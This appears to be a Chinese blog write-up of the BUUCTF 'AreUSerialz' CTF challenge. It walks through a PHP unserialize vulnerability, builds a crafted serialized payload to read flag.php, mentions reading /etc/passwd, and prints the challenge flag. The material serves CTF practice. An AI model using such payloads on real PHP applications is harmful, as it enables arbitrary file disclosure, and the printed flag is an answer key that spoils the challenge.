【web | CTF】BUUCTF [网鼎杯 2020 青龙组]AreUSerialz

2024-02-18 19:12

本文主要是介绍【web | CTF】BUUCTF [网鼎杯 2020 青龙组]AreUSerialz,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

天命:php的序列化题目简直是玄学,既不能本地复现,也不能求证靶场环境

天命:本地php是复现不了反序列化漏洞的,都不知道是版本问题还是其他问题

天命:这题也是有点奇怪的,明明用字符串2也应该是可以,但偏偏就不行,神奇了

进来题目先看到php代码审计,是反序列化漏洞

先看进来入口的逻辑,判断是不是正常的ascii码字符,然后反序列化,可以忽略校验,都是正常的

// 校验你是不是ascii码里面的合法字符
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}// 接受变量然后校验,进行反序列化激活类
if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str); // 反序列化}}

接下来看一下生命周期函数和四大函数

看了一下只有读文件函数是有用的,那就要 $op=2 或者$op='2' 才行

    // 生命周期函数:初始化函数function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}// 关键函数,当op等于2时候才进去正确的函数,读文件public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}// 这个函数是废的,我们要读取文件找flag,不是来写东西进文件private function write() {}// 文件包含漏洞的函数,能读取所有的文件,包括/etc/passwd都能读取private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}// 打印出来private function output($s) {echo "[Result]: <br>";echo $s;}

$op 等于整数 2 即可,$filename等于 flag.php 即可,不需要 fuzz 

比赛的现场题目是需要fuzz或者寻找一些配置文件来探索flag文件在哪里的

反正权限贼高,能读到 /etc/passwd

class FileHandler {public $op = 2;public $filename = "flag.php";public $content = "aaa";}$obj = new FileHandler();
echo serialize($obj);// 最后生成如下
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"aaa";}

需要改动一下

改动1:把小写s改成大写S

改动2:在op前面增加\00*\00,因为私有属性是会自带 * 号,需要用\00来截断(原理不清楚)

奇怪的地方:$op是整数2,不能是字符串的2,很奇怪,明明字符串的2也可以啊

改好后最终答案如下

O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:3:"aaa";}

flag{5f3275d0-e4ee-4faa-b72c-8c129a7c3400}

这篇关于【web | CTF】BUUCTF [网鼎杯 2020 青龙组]AreUSerialz的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/722172

相关文章

JavaWeb系列二十: jQuery的DOM操作 下

jQuery的DOM操作 CSS-DOM操作多选框案例页面加载完毕触发方法作业布置jQuery获取选中复选框的值jQuery控制checkbox被选中jQuery控制(全选/全不选/反选)jQuery动态添加删除用户 CSS-DOM操作 获取和设置元素的样式属性: css()获取和设置元素透明度: opacity属性获取和设置元素高度, 宽度: height(), widt

青龙面板之Ninja无法安装无法拉库问题解决

因为之前的Ninja库已经不能用了,甚至新找到的库也不能用了,好尴尬,这里使用线下版本进行安装。 ninja安装新方法,其是方法还是原来的,只不过Ninja的库原作者删了,没法直接git了,但是我找到了源码包,我们可以直接通过宝塔面板拖进去。 源码包地址: https://download.csdn.net/download/u012134073/24813485 备用地址: 链接: h

青龙面板2.9之Cdle傻妞机器人编译教程

看到有的朋友对傻妞机器人感兴趣,这里写一下傻妞机器人的编译教程。 第一步,这里以linux amd64为例,去官网下载安装go语言安装包: 第二步,输入下方指令 cd /usr/local && wget https://golang.google.cn/dl/go1.16.7.linux-amd64.tar.gz -O go1.16.7.linux-amd64.tar.gz

【青龙面板辅助】JD商品自动给好评获取京豆脚本

1.打开链接 开下面的链接进入待评价商品页面 https://club.jd.com/myJdcomments/myJdcomments.action?sort=0 2.登陆后执行脚本 登陆后,按F12键,选择console,复制粘贴以下代码,先运行脚本1,再运行脚本2 脚本1代码 可以自行修改评价内容。 var content = '材质很好,质量也不错,到货也很快物流满分,包装快递满

青龙面板部署通用教程,含服务器、路由器、X86等部署方法

1. 拉取镜像/更新镜像 docker pull whyour/qinglong:latest 2. 删除镜像 docker rmi whyour/qinglong:latest 3. 启动容器 普通服务器 docker run -dit \-v $PWD/ql/config:/ql/config \-v $PWD/ql/log:/ql/log \-v $PWD/ql/db:

开启青龙 Ninja 扫码功能失效后修改成手动填写CK功能【修正Ninja拉库地址】

国内:进入容器docker exec -it qinglong bash #获取ninjagit clone -b main https://ghproxy.com/https://github.com/wjx0428/ninja.git /ql/ninja#安装cd /ql/ninja/backend && pnpm install cp .env.example .env

宝塔面板部署青龙面板教程【简单易上手】

首先,你得有一台部署了宝塔面板的服务器(自己用本地电脑也可以)。 宝塔面板部署自行百度一下,很简单,这里就不走流程了,官网版本就可以,无需开心版。 首先,打开宝塔面板的软件商店,找到下图这个软件(Docker管理器)安装,青龙面板还是安装在docker里,这里依赖宝塔面板安装和管理docker。 安装完成后,进入SSH终端管理,输入代码安装青龙面板。ssh可以直接宝塔里操作,也可以安装ssh连接

JavaWeb系列六: 动态WEB开发核心(Servlet) 上

韩老师学生 官网文档为什么会出现Servlet什么是ServletServlet在JavaWeb项目位置Servlet基本使用Servlet开发方式说明快速入门- 手动开发 servlet浏览器请求Servlet UML分析Servlet生命周期GET和POST请求分发处理通过继承HttpServlet开发ServletIDEA配置ServletServlet注意事项和细节 Servlet注

中国341城市生态系统服务价值数据集(2000-2020年)

生态系统服务反映了人类直接或者间接从自然生态系统中获得的各种惠益,对支撑和维持人类生存和福祉起着重要基础作用。目前针对全国城市尺度的生态系统服务价值的长期评估还相对较少。我们在Xie等(2017)的静态生态系统服务当量因子表基础上,选取净初级生产力,降水量,生物迁移阻力,土壤侵蚀度和道路密度五个变量,对生态系统供给服务、调节服务、支持服务和文化服务共4大类和11小类的当量因子进行了时空调整,计算了

JavaWeb 学习笔记 spring+jdbc整合开发初步

JdbcTemplate类是Spring的核心类之一,可以在org.springframework.jdbc.core中找到它。JdbcTemplate类在内部已经处理数据库的建立和释放,可以避免一些常见的错误。JdbcTemplate类可直接通过数据源的应用实例化,然后在服务中使用,也可在xml配置中作为JavaBean应用给服务使用直接上一个实例步骤1.xml配置 <?xml version